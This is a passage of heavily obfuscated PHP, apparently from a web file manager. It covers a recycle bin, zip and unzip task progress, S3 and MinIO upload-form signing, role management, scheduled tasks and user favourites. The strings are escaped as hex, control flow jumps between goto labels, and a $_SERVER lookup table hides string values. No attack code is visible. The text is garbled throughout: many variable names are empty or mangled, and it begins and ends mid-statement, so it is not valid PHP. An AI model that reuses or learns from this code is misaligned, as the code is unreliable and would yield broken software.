$ԉ; } } } } class SourceRecycleModel extends ModelBase { protected $tableName = "\x69\x6f\x5f\x73\157\x75\162\143\x65\x5f\x72\x65\x63\171\x63\x6c\x65"; protected $dataAuto = array(array("\143\x72\x65\141\x74\145\124\151\x6d\145", "\x74\x69\155\x65", "\151\156\163\145\162\x74", "\146\165\x6e\x63\x74\x69\x6f\156")); public function listData($Ԁ = false) { $ =& $_SERVER[՟]; $Ԁ = $Ԁ ? $Ԁ : USER_ID; $҆ = $this->where(array($[1764] => $Ԁ))->select(); return array_to_keyvalue($҆, $[12], $[203]); } public function moveToRecycle($ųҘ) { $ =& $_SERVER[՟]; $ = Model($[1421]); $ = $->sourceInfo($ųҘ); if (!$ || $[$[514]] == $[101]) { return; } $ŵ֒ = array($[500] => $ųҘ, $[1764] => USER_ID, $[657] => $[$[200]], $[658] => $[$[578]], $[661] => $[$[593]]); $this->add($ŵ֒); $this->recycleMove($ųҘ, 1); if ($[$[494]] == $[101]) { $ߛ = array($[661] => array($[621], $[$[593]] . $ųҘ . $[622])); $->where($ߛ)->setField($[514], 1); } } public function clear() { $this->remove(!1); } public function remove($ = false, $ = false) { $ =& $_SERVER[՟]; $ = $ ? $ : USER_ID; $ɋį = Model($[1421]); $յ = $this->listData($); $ = $ === !1 ? !1 : $; $ᦼ = array(); foreach ($յ as $ؘ) { if ($ != !1 && !in_array($ؘ, $)) { continue; } $ȳ́ = $ɋį->sourceInfo($ؘ); $ɋį->remove($ؘ, !1); $ = $ȳ́[$[200]] . $[11] . $ȳ́[$[578]]; $ᦼ[$] = array($[657] => $ȳ́[$[200]], $[578] => $ȳ́[$[578]]); $this->where(array($[203] => $ؘ))->delete(); } foreach ($ᦼ as $ҭ) { $ɋį->targetSpaceUpdate($ҭ[$[200]], $ҭ[$[578]]); } } public function restore($ұ = false) { $㫴 = $this->listData(); $this->_restoreSource($㫴, $ұ); } public function removeUserAll($Ï) { $this->remove(!1, $Ï); } public function restoreItem($凉) { $this->_restoreSource(array($凉), array($凉)); } private function _restoreSource($࣯, $ٚ) { $嗓 =& $_SERVER[՟]; $ = Model($嗓[1421]); $ٚ = $ٚ == !1 ? !1 : $ٚ; if (!$࣯) { return !0; } $ = array(); foreach ($࣯ as $Ԣʍ) { if ($ٚ != !1 && !in_array($Ԣʍ, $ٚ)) { continue; } $ = $->sourceInfo($Ԣʍ); $Ɯ = $->sourceInfo($[$嗓[202]]); if ($Ɯ[$嗓[514]] == $嗓[101]) { continue; } $->lockMoveStart($Ԣʍ); $this->recycleMove($Ԣʍ, 0); if ($[$嗓[494]] == $嗓[101]) { $ޱ = array($嗓[661] => array($嗓[621], $[$嗓[593]] . $Ԣʍ . $嗓[622])); $->where($ޱ)->setField($嗓[514], 0); $this->restoreFolderChildren($Ԣʍ, $࣯); } $this->where(array($嗓[203] => $Ԣʍ))->delete(); $->folderSizeReset($[$嗓[202]]); $[] = $[$嗓[202]]; if ($[$嗓[494]] == $嗓[101]) { $[] = $Ԣʍ; } $->lockMoveEnd($Ԣʍ); } $->updateModifyTime($); } private function restoreFolderChildren($ώ, $ջ) { $ۄ =& $_SERVER[՟]; $۲ = Model($ۄ[1421]); $ = array($ۄ[203] => array($ۄ[7], array())); foreach ($ջ as $) { if ($ == $ώ) { continue; } if (!$۲->isParentOf($ώ, $)) { continue; } $ = $۲->sourceInfo($); if ($[$ۄ[494]] == $ۄ[101]) { $[] = array($ۄ[661] => array($ۄ[621], $[$ۄ[593]] . $ . $ۄ[622])); } else { $[$ۄ[203]][1][] = $; } } if (!$[$ۄ[203]][1]) { unset($[$ۄ[203]]); } if (!$) { return; } if (is_array($[$ۄ[203]]) && is_array($[$ۄ[203]][1])) { $[$ۄ[203]][1] = array_unique($[$ۄ[203]][1]); } $[$ۄ[1081]] = $ۄ[2074]; $۲->where($)->setField($ۄ[514], 1); } private function recycleMove($̳, $ = 1) { $ɣ =& $_SERVER[՟]; $΄ = Model($ɣ[1421]); $χ = Model($ɣ[2300]); $ = array($ɣ[203] => $̳); if ($) { $΄->where($)->setField($ɣ[514], 1); $χ->eventRecycle($̳, $ɣ[2301]); } else { $˞ = $΄->where($)->find(); $ݐ = $˞[$ɣ[494]] == $ɣ[101]; $ˬ = $΄->fileNameAuto($˞[$ɣ[202]], $˞[$ɣ[32]], REPEAT_RENAME_FOLDER, $ݐ); if ($ˬ != $˞[$ɣ[32]]) { $΄->rename($̳, $ˬ); } $΄->where($)->setField($ɣ[514], 0); $χ->eventRecycle($̳, $ɣ[2302]); } } } class SourceSecretModel extends ModelBaseLight { public $optionType = "\x53\171\163\x74\x65\x6d\56\x73\x6f\165\162\143\x65\123\x65\x63\162\145\164\114\x69\163\x74"; public $field = array("\163\x6f\x75\x72\x63\x65\x49\104", "\164\171\160\x65\111\104", "\143\162\x65\x61\164\x65\125\x73\x65\x72"); } goto Aˈ; AҚ: class TaskRun { private static $asyncAdd = false; private static $syncTask = false; public static function timeLimit($䐏ɍ, $ƛ = 5.0) { if (!$䐏ɍ) { return; } $ = Cache::get($䐏ɍ); if (!$ || timeFloat() - floatVal($) >= $ƛ) { Cache::set($䐏ɍ, timeFloat(), $ƛ * 10); return !0; } return !1; } public static function timeLimitCall($෧, $Ѱ̫, $Τ, $ݛ = 5.0) { $ =& $_SERVER[՟]; if (!$෧ || !$Ѱ̫) { return; } self::$asyncAdd = !0; $۳ܦ = $[1879]; $ = Cache::get($۳ܦ, !0); $ŋ = array($[1880] => timeFloat(), $[1881] => timeFloat(), $[350] => $Ѱ̫, $[1871] => $Τ, $[216] => $ݛ); if (is_array($[$෧])) { $ŋ[$[1881]] = $[$෧][$[1881]]; } if (is_array($[$෧])) { if (timeFloat() - $[$෧][$[1880]] < $ŋ[$[216]] * 0.3) { return; } $ŋ[$[1881]] = $[$෧][$[1881]]; } $[$෧] = $ŋ; Cache::set($۳ܦ, $, 60); Cache::removeMemory($۳ܦ); write_log($[1882] . $෧ . $[84] . $Ѱ̫, $[207]); } public static function timeLimitCallLoop() { $ѽ =& $_SERVER[՟]; $ގ = array($ѽ[1883]); $ = in_array(strtolower(ACTION), $ގ); if (!$ && !self::$asyncAdd) { return; } $̤ = $ѽ[1879]; $ڼ = Cache::get($̤, !0); if (!$ڼ || count($ڼ) <= 0) { return; } $ = !1; $ = timeFloat(); $ߢΏ = array(); foreach ($ڼ as $ۑń => $ܞ) { if ($ - $ܞ[$ѽ[1881]] > $ܞ[$ѽ[216]]) { $ = !0; try { Hook::apply($ܞ[$ѽ[350]], $ܞ[$ѽ[1871]]); write_log($ѽ[1884] . $ۑń . $ѽ[84] . $ܞ[$ѽ[350]] . $ѽ[1885] . ACTION, $ѽ[207]); } catch (Exception $ҋҰ) { } continue; } $ߢΏ[$ۑń] = $ܞ; } if (!$) { return; } if (!$ߢΏ) { return Cache::remove($̤); } Cache::set($̤, $ߢΏ, 60); Cache::removeMemory($̤); } public static function finished($, $) { $ =& $_SERVER[՟]; if (!self::$syncTask) { self::$syncTask = array(); } self::$syncTask[] = array($[350] => $, $[1871] => $); } private static function finishedRun() { $ =& $_SERVER[՟]; if (!self::$syncTask) { return; } foreach (self::$syncTask as $긻) { try { Hook::apply($긻[$[350]], $긻[$[1871]]); } catch (Exception $Ə) { } } } public static function autoRun() { self::finishedRun(); self::timeLimitCallLoop(); } } class TaskUnzip extends TaskFileTransfer { protected function startAfter() { $ =& $_SERVER[՟]; parent::startAfter(); Hook::bind($[1886], array($this, $[1887])); Hook::bind($[1281], array($this, $[1888])); Hook::bind($[1889], array($this, $[1890])); $ =& $this->task; $[$[1891]] = $[1282]; if (!$[$[1662]]) { $[$[1662]] = LNG($[1892]); } } protected function endAfter() { $ =& $_SERVER[՟]; parent::endAfter(); Hook::unbind($[1886], array($this, $[1887])); Hook::unbind($[1281], array($this, $[1888])); Hook::unbind($[1889], array($this, $[1890])); } public function updateAfter() { $ =& $_SERVER[՟]; $ףܫ =& $this->task; if (!$ףܫ[$[1144]] || !$ףܫ[$[847]]) { if ($ףܫ[$[1891]] != $[398]) { return; } } if ($ףܫ[$[1891]] == $[1282]) { $ۇҢ = 0; if ($ףܫ[$[1826]]) { $ۇҢ = $ףܫ[$[1827]] / $ףܫ[$[1826]]; } $ףܫ[$[1775]] = $ۇҢ * 0.3; } else { if ($ףܫ[$[1891]] == $[398]) { $ۇҢ = $ףܫ[$[1774]] / $ףܫ[$[1144]]; $ףܫ[$[1775]] = 0.3 + $ۇҢ * 0.4; } else { if ($ףܫ[$[1891]] == $[120]) { $ = 0; if ($ףܫ[$[1828]] == $[120]) { $ = $ףܫ[$[1827]]; } $ۇҢ = ($ףܫ[$[1831]] + $) / $ףܫ[$[847]]; $ףܫ[$[1775]] = 0.3 + 0.4 + $ۇҢ * 0.3; } } } if ($ףܫ[$[1775]] > 0) { $䶿 = timeFloat() - $ףܫ[$[1777]] - $ףܫ[$[1780]]; $ףܫ[$[1781]] = $䶿 * (1 - $ףܫ[$[1775]]) / $ףܫ[$[1775]]; } } public function addFile($̷) { $ =& $_SERVER[՟]; $ =& $this->task; $ = IO::info($̷); $[$[1824]] = $[$[32]]; $[$[1826]] = $[$[89]]; $[$[1827]] = 0; $[$[1146]] = $[1847]; $[$[1828]] = $[1282]; $[$[847]] = $[$[89]]; $[$[1144]] = 1; $ = 0; $[$[1835]] = array($[1836] => $ + 1, $[503] => $[$[32]], $[97] => $[$[97]], $[591] => $[$[591]] ? $[$[591]] : $[$[97]]); $this->update(); } public function zipEvent($, $زΟ, $, $) { $ѵ =& $_SERVER[՟]; $ =& $this->task; $[$ѵ[1824]] = get_path_this($زΟ); $[$ѵ[1826]] = $; $[$ѵ[1827]] = $; $[$ѵ[1146]] = $ == $ѵ[1893] ? $ѵ[1894] : $ѵ[1895]; $[$ѵ[1828]] = $ѵ[12]; $[$ѵ[847]] = $; $[$ѵ[1891]] = $ѵ[398]; $this->update(); } public function unzipAfter($) { $ɃϚ =& $_SERVER[՟]; $ =& $this->task; $[$ɃϚ[1891]] = $ɃϚ[120]; $ = IO::infoWithChildren($); $ƌ = 0; $[$ɃϚ[1835]] = array($ɃϚ[1836] => $ƌ + 1, $ɃϚ[503] => $[$ɃϚ[32]], $ɃϚ[97] => $[$ɃϚ[97]], $ɃϚ[591] => $[$ɃϚ[591]] ? $[$ɃϚ[591]] : $[$ɃϚ[97]]); if ($[$ɃϚ[33]] == $ɃϚ[240]) { $[$ɃϚ[1144]] = 1; } else { $[$ɃϚ[1144]] = $[$ɃϚ[92]][$ɃϚ[90]]; } $[$ɃϚ[1146]] = $ɃϚ[12]; $[$ɃϚ[1828]] = 0; $[$ɃϚ[1774]] = 0; $[$ɃϚ[1826]] = 0; $[$ɃϚ[1827]] = 0; $[$ɃϚ[1824]] = $ɃϚ[12]; $[$ɃϚ[1831]] = 0; $[$ɃϚ[847]] = $[$ɃϚ[89]]; $this->update(); self::log($ɃϚ[1896] . json_encode(array($, $))); } public function nameParse($܂) { $߀ =& $_SERVER[՟]; $ =& $this->task; if ($[$߀[1891]] == $߀[1282]) { $[$߀[1891]] = $߀[398]; $[$߀[1831]] = 0; $[$߀[847]] = 0; } $ò = get_path_this($܂); if (strstr($ò, $߀[10])) { $[$߀[1774]] += 1; $[$߀[1144]] += 1; } $[$߀[1824]] = $܂; $this->update(); } } class TaskZip extends TaskFileTransfer { protected function startAfter() { $ȱ =& $_SERVER[՟]; parent::startAfter(); Hook::bind($ȱ[1897], array($this, $ȱ[1887])); Hook::bind($ȱ[1889], array($this, $ȱ[1890])); $ڮŰ =& $this->task; $ڮŰ[$ȱ[1891]] = $ȱ[1282]; if (!$ڮŰ[$ȱ[1662]]) { $ڮŰ[$ȱ[1662]] = LNG($ȱ[1898]); } } protected function endAfter() { $ܖ =& $_SERVER[՟]; parent::endAfter(); Hook::unbind($ܖ[1897], array($this, $ܖ[1887])); Hook::unbind($ܖ[1889], array($this, $ܖ[1890])); } public function updateAfter() { $ϙߪ =& $_SERVER[՟]; $䪜 =& $this->task; if (!$䪜[$ϙߪ[1144]] || !$䪜[$ϙߪ[847]]) { return; } if ($䪜[$ϙߪ[1891]] == $ϙߪ[1282]) { $ڸ = $䪜[$ϙߪ[1827]]; if ($䪜[$ϙߪ[1828]] != $ϙߪ[1282]) { $ڸ = 0; } $Ī = ($䪜[$ϙߪ[1831]] + $ڸ) / $䪜[$ϙߪ[847]]; $䪜[$ϙߪ[1775]] = $Ī * 0.3; } else { if ($䪜[$ϙߪ[1891]] == $ϙߪ[398]) { $Ī = $䪜[$ϙߪ[1774]] / $䪜[$ϙߪ[1144]]; $䪜[$ϙߪ[1775]] = 0.3 + $Ī * 0.5; } else { if ($䪜[$ϙߪ[1891]] == $ϙߪ[120]) { $Ī = 0; if ($䪜[$ϙߪ[1826]]) { $Ī = $䪜[$ϙߪ[1827]] / $䪜[$ϙߪ[1826]]; } $䪜[$ϙߪ[1775]] = 0.3 + 0.5 + $Ī * 0.2; } } } if ($䪜[$ϙߪ[1775]] > 0) { $˱ = timeFloat() - $䪜[$ϙߪ[1777]] - $䪜[$ϙߪ[1780]]; $䪜[$ϙߪ[1781]] = $˱ * (1 - $䪜[$ϙߪ[1775]]) / $䪜[$ϙߪ[1775]]; } } public function copyFileStart($, $, $, $, $Ǿ, $) { $ =& $_SERVER[՟]; parent::copyFileStart($, $, $, $, $Ǿ, $); $ =& $this->task; if ($[$[1891]] == $[398]) { $[$[1891]] = $[120]; } $this->update(); } public function copyFileEnd($ŝ, $, $, $ȷ, $ܳ箹, $) { $֚ =& $_SERVER[՟]; $¿ =& $this->task; $¿[$֚[1827]] = $¿[$֚[1826]]; $¿[$֚[1831]] += $¿[$֚[1826]]; $¿[$֚[1828]] = $֚[12]; $this->update(); } public function zipEvent($˭, $, $, $) { $ =& $_SERVER[՟]; $߫ =& $this->task; $߫[$[1824]] = get_path_this($); $߫[$[1826]] = $; $߫[$[1827]] = $; $߫[$[1146]] = $˭ == $[1899] ? $[1894] : $[1895]; $߫[$[1828]] = $[12]; $߫[$[847]] = $; $߫[$[1891]] = $[398]; $this->update(); } public function nameParse($) { $ =& $_SERVER[՟]; $ =& $this->task; if ($[$[1774]] < $[$[1144]]) { $ = get_path_this($); if (strstr($, $[10])) { $[$[1774]] += 1; } } if ($[$[1891]] == $[1282]) { $[$[1891]] = $[398]; } $[$[1824]] = $; $this->update(); } } goto cڱ; dΪ: define($_SERVER[՟][325], 2); define($_SERVER[՟][326], 3); define($_SERVER[՟][327], 1); goto Căݼ; E: class PathDriverMinIO extends PathDriverBaseS3 { public function __construct($ʒœ) { $ߋ =& $_SERVER[՟]; parent::__construct($ʒœ); $this->setSignVersion($ߋ[257]); if (!$this->region) { $this->region = $ߋ[278]; $this->client->setRegion($this->region); } $this->client->setHeadValid(!1); } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } public function checkRegion() { $ڴ = $this->getBucketRgn(); return $this->region == $ڴ ? !0 : !1; } public function uploadFormData($Ǧ, $ = 3600) { $ᄛ =& $_SERVER[՟]; $ = $ᄛ[239]; $Ӻ = $ᄛ[279]; $ = $ᄛ[72]; $דʂ = gmdate($ᄛ[280]); $룟Ѕ = gmdate($ᄛ[281]); $ح = $ᄛ[282]; $ө = $ . $ᄛ[12]; $ѧ = $ᄛ[283]; $ = array($this->accessKey, $룟Ѕ, $this->region, $, $ح); $ = implode($ᄛ[8], $); $ܦ = array($ᄛ[284] => gmdate($ᄛ[285], strtotime($ᄛ[286])), $ᄛ[287] => array(array($ᄛ[288] => $this->bucket), array($ᄛ[289] => $), array($ᄛ[290], $ᄛ[291], $ᄛ[12]), array($ᄛ[290], $ᄛ[292], $ᄛ[12]), array($ᄛ[290], $ᄛ[293], $ᄛ[12]), array($ᄛ[294] => $ѧ), array($ᄛ[295] => $), array($ᄛ[296] => $Ӻ), array($ᄛ[297] => $דʂ), array($ᄛ[298] => $ө))); $ = base64_encode(json_encode($ܦ)); $ = hash_hmac($ᄛ[299], $룟Ѕ, $ᄛ[300] . $this->secret, !0); $ = hash_hmac($ᄛ[299], $this->region, $, !0); $ѩ = hash_hmac($ᄛ[299], $, $, !0); $Ä = hash_hmac($ᄛ[299], $ح, $ѩ, !0); $ˆ = hash_hmac($ᄛ[299], $, $Ä); $ = array($ᄛ[256] => $ᄛ[12], $ᄛ[301] => $ᄛ[12], $ᄛ[289] => $, $ᄛ[294] => $ѧ, $ᄛ[302] => $, $ᄛ[303] => $, $ᄛ[304] => $Ӻ, $ᄛ[305] => $דʂ, $ᄛ[306] => $ө, $ᄛ[307] => $ˆ, $ᄛ[218] => $this->getHost()); return $; } } class PathDriverS3 extends PathDriverBaseS3 { public function __construct($) { parent::__construct($); } public function uploadFormData($ꚖĹ, $DZ = 3600) { $׳ =& $_SERVER[՟]; $˻ = $׳[239]; $˘ = $׳[279]; $ = $׳[72]; $Ϋ = gmdate($׳[280]); $߀ = gmdate($׳[281]); $ = $׳[282]; $Զ = $DZ . $׳[12]; $ȼ = $׳[283]; $ = array($this->accessKey, $߀, $this->region, $, $); $䎩 = implode($׳[8], $); $ = array($׳[284] => gmdate($׳[308], strtotime($׳[286])), $׳[287] => array(array($׳[288] => $this->bucket), array($׳[289] => $˻), array($׳[290], $׳[291], $׳[12]), array($׳[290], $׳[292], $׳[12]), array($׳[290], $׳[293], $׳[12]), array($׳[294] => $ȼ), array($׳[295] => $䎩), array($׳[296] => $˘), array($׳[297] => $Ϋ), array($׳[298] => $Զ))); $ = base64_encode(json_encode($)); $͒ = hash_hmac($׳[299], $߀, $׳[300] . $this->secret, !0); $̛ = hash_hmac($׳[299], $this->region, $͒, !0); $ˏ = hash_hmac($׳[299], $, $̛, !0); $ = hash_hmac($׳[299], $, $ˏ, !0); $Ô = hash_hmac($׳[299], $, $); $ = array($׳[256] => $׳[12], $׳[301] => $׳[12], $׳[289] => $˻, $׳[294] => $ȼ, $׳[302] => $, $׳[303] => $䎩, $׳[304] => $˘, $׳[305] => $Ϋ, $׳[306] => $Զ, $׳[307] => $Ô, $׳[218] => $this->getHost()); return $; } public function multiUploadFormData($, $ = 3600) { $̿ =& $_SERVER[՟]; $ = gmdate($̿[309]); $ = array(); $ˁ = $this->client->getUploadId($this->bucket, $, $); if (!$ˁ) { return !1; } return array($̿[264] => $ˁ, $̿[218] => $this->getHost() . $̿[8] . $this->pathEncode($), $̿[265] => $, $̿[107] => $); } public function multiUploadAuthData($ò, $Ў = array()) { $ =& $_SERVER[՟]; $Ϥ涅 = isset($Ў[$[179]]) ? $Ў[$[179]] : $[12]; $ = $Ў[$[107]]; unset($Ў[$[107]]); if (isset($Ў[$[266]])) { return $this->listUploadParts($, $Ў); } $ŝ = array(); if (isset($Ў[$[310]])) { $ŝ[$[311]] = $Ў[$[310]]; } $Ԡ = explode($[220], $this->getHost()); $، = array($[312] => $Ԡ[1], $[313] => $[12], $[256] => $[133], $[301] => $Ў[$[89]]); $ڽ = $[269]; $ = $[8] . $this->pathEncode($) . $Ϥ涅; $ݬϵ = $this->client->__getSignatureV4($ŝ, $،, $ڽ, $); if (strpos($Ϥ涅, $[268]) === 0) { if (isset($ŝ[$[311]])) { $ = $ŝ[$[311]]; } else { if (isset($ݬϵ[$[311]])) { $ = $ݬϵ[$[311]]; } else { $ = hash($[299], $[12]); } } return array($[274] => $ݬϵ[$[274]], $[311] => $, $[265] => $ݬϵ[$[314]]); } return $ݬϵ[$[274]]; } public function listUploadParts($ӳ, $ = array()) { $䔋 =& $_SERVER[՟]; $NJ = str_replace($䔋[275], $䔋[12], $[$䔋[179]]); $ꒈ = $this->client->listParts($this->bucket, $ӳ, $NJ); if (!$ꒈ) { return !1; } $픜 = $䔋[315]; foreach ($ꒈ as $) { $픜 .= $䔋[316] . "\74\120\141\162\164\x4e\x75\155\x62\x65\162\76{$[$䔋[317]]}\x3c\57\120\x61\x72\x74\x4e\x75\x6d\142\x65\x72\76\xa" . "\74\105\x54\x61\147\76{$[$䔋[318]]}\x3c\x2f\x45\x54\141\x67\76\12" . $䔋[319]; } $픜 .= $䔋[320]; $ꁍ = array(); $ = explode($䔋[220], $this->getHost()); $Ъ = array($䔋[312] => $[1], $䔋[256] => $䔋[133], $䔋[301] => strlen($픜)); $ = $䔋[267]; $ = $䔋[8] . $this->pathEncode($ӳ) . $[$䔋[179]]; $ = $this->client->__getSignatureV4($ꁍ, $Ъ, $, $, $픜); return array($䔋[274] => $[$䔋[274]], $䔋[265] => $[$䔋[314]], $䔋[276] => $ꒈ, $䔋[311] => $[$䔋[311]]); } public function link($, $ஐ = array()) { return parent::link($, $ஐ); } public function fileOut($, $ȃ = false, $ = false, $ = '') { if ($this->isFileOutServer() || strstr($this->endpoint, $_SERVER[՟][321])) { return parent::fileOutServer($, $ȃ, $, $); } parent::fileOut($, $ȃ, $, $); } public function fileOutImage($ٗ, $ = 250) { if (strstr($this->endpoint, $_SERVER[՟][321])) { return parent::fileOutImageServer($ٗ, $); } parent::fileOutImage($ٗ, $); } public function fileOutLink($³ۈ) { $ =& $_SERVER[՟]; if (substr($³ۈ, 0, 7) == $[322]) { $³ۈ = $[323] . substr($³ۈ, 7); } header($[185] . $³ۈ); die; } } define($_SERVER[՟][324], 1); goto dΪ; aىף: class SystemRoleModel extends ModelBaseLight { public $optionType = "\x53\171\x73\x74\x65\x6d\x2e\x72\157\x6c\x65\114\151\x73\164"; public $field = array("\x6e\141\x6d\x65", "\141\x75\x74\150", "\x6c\x61\142\x65\x6c", "\x64\x69\163\160\x6c\141\x79", "\x73\x79\x73\164\145\155", "\x64\x65\x73\143", "\x69\x67\x6e\157\162\x65\x45\x78\x74", "\x69\147\x6e\157\x72\x65\106\x69\x6c\145\123\x69\172\145", "\x61\x64\155\x69\156\x69\x73\x74\x72\x61\x74\157\162", "\x73\x6f\162\164"); public function listData($ = false, $˺ݢ = "\163\x6f\x72\x74", $ = false) { $Э =& $_SERVER[՟]; $ֺ = parent::listData($, $˺ݢ, $); if (!$) { foreach ($ֺ as $ => $߮) { if ($߮[$Э[2179]] == 1) { $ֺ[$][$Э[535]] = LNG($Э[2445]); } } } return $ֺ; } public function update($鿶ۜ, $ѓ) { $ =& $_SERVER[՟]; $ލ = parent::listData($鿶ۜ); $ = $this->findByName($ѓ[$[32]]); if (!$ލ || $ && $[$[484]] != $ލ[$[484]]) { return !1; } if ($[$[2179]] == 1) { $ѓ = array($[32] => $ѓ[$[32]], $[1995] => $ѓ[$[1995]]); } $this->filterAuth($ѓ[$[496]]); return parent::update($鿶ۜ, $ѓ); } public function remove($) { $ŪѲ = parent::listData($); if (!$ŪѲ || $ŪѲ[$_SERVER[՟][201]]) { return !1; } return parent::remove($); } public function add($) { $դΎ =& $_SERVER[՟]; $ = $[$դΎ[32]]; if ($this->findByName($)) { return !1; } $ג = array($դΎ[503] => $, $դΎ[1978] => $դΎ[12], $դΎ[1974] => $դΎ[1982], $դΎ[2446] => 1, $դΎ[1977] => 0, $դΎ[2447] => 0, $դΎ[1976] => $this->getSort()); $ = array_merge($ג, $); $this->filterAuth($[$դΎ[496]]); return parent::insert($); } private function getSort() { $ӕ =& $_SERVER[՟]; $ˬ = parent::listData(); $ = array_to_keyvalue($ˬ, $ӕ[12], $ӕ[1996]); return empty($) ? 0 : max($) + 1; } private function filterAuth(&$С) { $ =& $_SERVER[՟]; $ = array(); $ = array_filter(explode($[50], $С)); foreach ($ as $С) { $ = explode($[10], $С); if ($[0] == $[2448] && $[1] != $[1278]) { $ݏ = $[0] . $[10] . $[1] . $[2449]; if (!in_array($ݏ, $)) { $[] = $ݏ; } } $[] = $С; } $С = implode($[50], $); } public function findRoleDefault() { $ =& $_SERVER[՟]; $ҷפ = parent::listData(); $ͬ = !1; foreach ($ҷפ as $) { if (!$ || $[$[1994]] == $[238] || $[$[2179]] == 1) { continue; } if (strstr($[$[496]], $[2450])) { continue; } if (!strstr($[$[496]], $[2451])) { continue; } if (!$ͬ) { $ͬ = $; continue; } $Դ = explode($[50], $ͬ[$[496]]); $ = explode($[50], $[$[496]]); if (count($Դ) > count($)) { $ͬ = $; } } return $ͬ ? $ͬ[$[484]] : $[12]; } public function sort($, $ިٙ) { return parent::update($, $ިٙ); } } class SystemTaskModel extends ModelBaseLight { public $optionType = "\x53\x79\x73\164\x65\155\x2e\x74\141\163\x6b\114\151\163\164"; public $field = array("\x6e\141\155\145", "\164\x79\x70\x65", "\145\166\x65\156\x74", "\164\x69\x6d\145", "\x64\145\x73\x63", "\x73\x79\x73\x74\145\155", "\145\x6e\x61\142\154\x65", "\x6c\x61\163\164\122\x75\x6e", "\163\x6f\162\x74"); public function listData($ = false, $ = "\163\157\x72\164", $ = false) { return parent::listData($, $, $); } public function add($Ŗ) { $ϣ =& $_SERVER[՟]; $ = $this->findByName($Ŗ[$ϣ[32]]); if ($) { return !1; } $Ŗ[$ϣ[1724]] = 0; $Ŗ[$ϣ[1996]] = $this->getSort(); return parent::insert($Ŗ); } private function getSort() { $ʵݛ =& $_SERVER[՟]; $ = parent::listData(); $ = array_to_keyvalue($, $ʵݛ[12], $ʵݛ[1996]); return empty($) ? 0 : max($) + 1; } public function update($, $) { $嶀 =& $_SERVER[՟]; $ؓ = $this->listData($); $ = $this->findByName($[$嶀[32]]); if (!$ؓ || $ && $[$嶀[484]] != $ؓ[$嶀[484]]) { return !1; } return parent::update($, $); } public function remove($Ł, $֫ = false) { $܂ڿ =& $_SERVER[՟]; $يƧ = $this->listData($Ł); if (!$يƧ) { return; } if (!$֫ && $يƧ[$܂ڿ[201]] == $܂ڿ[101]) { return !1; } return parent::remove($Ł); } public function enable($, $) { return $this->update($, array($_SERVER[՟][2440] => $)); } public function run($誙) { return $this->update($誙, array($_SERVER[՟][2452] => time())); } } class UserFavModel extends ModelBase { protected $tableName = "\165\163\x65\x72\137\146\x61\x76"; protected function cacheFunctionAlias($) { $ =& $_SERVER[՟]; return array($[2087] => array(USER_ID, $[2453])); } protected function listData() { $ =& $_SERVER[՟]; $ = array($[1764] => USER_ID, $[566] => 0); $ = $[2454]; $㡑 = $this->field($)->where($)->order($[2455])->select(); return $㡑 ? $㡑 : array(); } protected function resetCache() { } protected function listView() { $ȝ =& $_SERVER[՟]; $Ʌ = $this->listData(); $Ȏ = array_filter_by_field($Ʌ, $ȝ[33], $ȝ[499]); $ﺕ = array_to_keyvalue($Ȏ, $ȝ[12], $ȝ[97]); if (!$ﺕ) { return $Ʌ; } $₫ = 2000; $ = array($ȝ[500] => array($ȝ[501], $ﺕ)); $ù = Model($ȝ[908])->listSource($, $₫); $ù = array_merge($ù[$ȝ[96]], $ù[$ȝ[95]]); $ù = array_to_keyvalue($ù, $ȝ[203]); foreach ($Ʌ as $ => $Һ) { $ܡ˨ = $ù[$Һ[$ȝ[97]]]; $ܡ˨ = $ܡ˨ ? $ܡ˨ : array(); $Ʌ[$] = array_merge($ܡ˨, $Һ); } return $Ʌ; } protected function addFav($, $ = '', $܊ = "\163\157\x75\162\143\145") { $ =& $_SERVER[՟]; $ = array($[1764] => USER_ID, $[566] => 0, $[505] => $܊, $[504] => $); if ($this->where($)->find()) { return !1; } $ = array($[1764] => USER_ID, $[566] => 0); $ = $this->where($)->max($[1996]); if (!$) { $ = 0; } if (!$ && $܊ == $[499]) { $ = Model($[1421])->where(array($[500] => $))->find(); if (!$) { return !1; } $ = $[$[32]]; } $ = $this->getAutoName($); $ = array($[1764] => USER_ID, $[566] => 0, $[503] => $, $[504] => $, $[505] => $܊, $[1976] => $ + 1); return $this->add($); } protected function remove($ဎ) { $ =& $_SERVER[՟]; $ = array($[1764] => USER_ID, $[502] => $ဎ); return $this->where($)->delete(); } protected function removeByName($Ϳ) { $ =& $_SERVER[՟]; $Ɯٌ = array($[1764] => USER_ID, $[503] => $Ϳ, $[566] => 0); return $this->where($Ɯٌ)->delete(); } protected function rename($, $܄) { $҈֕ =& $_SERVER[՟]; if ($ == $܄) { return !1; } $ = $this->getAutoName($܄); if ($܄ != $) { return !1; } $݁ = array($҈֕[1764] => USER_ID, $҈֕[566] => 0, $҈֕[32] => $); return $this->where($݁)->save(array($҈֕[32] => $܄)); } protected function resetSort($Ѯ) { $ =& $_SERVER[՟]; $Ѯ = is_array($Ѯ) ? $Ѯ : array(); $ = array($[1764] => USER_ID); for ($ = 0; $ < count($Ѯ); $++) { $[$[502]] = $Ѯ[$]; $this->where($)->save(array($[1976] => $ + 1)); } return !0; } protected function moveTop($攈Ӑ) { $ =& $_SERVER[՟]; $ϴ = array($[1764] => USER_ID, $[566] => 0); $ = $this->where($ϴ)->where(array($[32] => $攈Ӑ))->find(); if (!$) { return; } $ = $this->field($[484])->where($ϴ)->order($[2455])->select(); $ = array_to_keyvalue($, $[12], $[484]); $ѣ눿 = $; $ = array_remove_value($, $[$[484]]); array_unshift($, $[$[484]]); return $this->resetSort($); } protected function moveBottom($) { $ŕ =& $_SERVER[՟]; $便 = array($ŕ[1764] => USER_ID, $ŕ[566] => 0); $⥞ = $this->where($便)->max($ŕ[1996]); $Ϟ = array($ŕ[1996] => $⥞ + 1); return $this->where($便)->where(array($ŕ[32] => $))->save($Ϟ); } private function getAutoName($) { $̛ =& $_SERVER[՟]; $ۊ = array($̛[1764] => USER_ID, $̛[566] => 0); $ȁ = $this->field($̛[32])->where($ۊ)->select(); $ȁ = array_to_keyvalue($ȁ, $̛[12], $̛[32]); if (!$ȁ || !in_array($, $ȁ)) { return $; } for ($Պɑ = 0; $Պɑ < count($ȁ); $Պɑ++) { if (!in_array($ . "\x28{$Պɑ}\x29", $ȁ)) { return $ . "\50{$Պɑ}\51"; } } return $ . "\50{$Պɑ}\51"; } } goto F囐; f⼬؊: class SourceListModel extends ModelBase { protected $tableName = "\x69\157\x5f\163\157\x75\162\143\145"; protected $tableMeta = 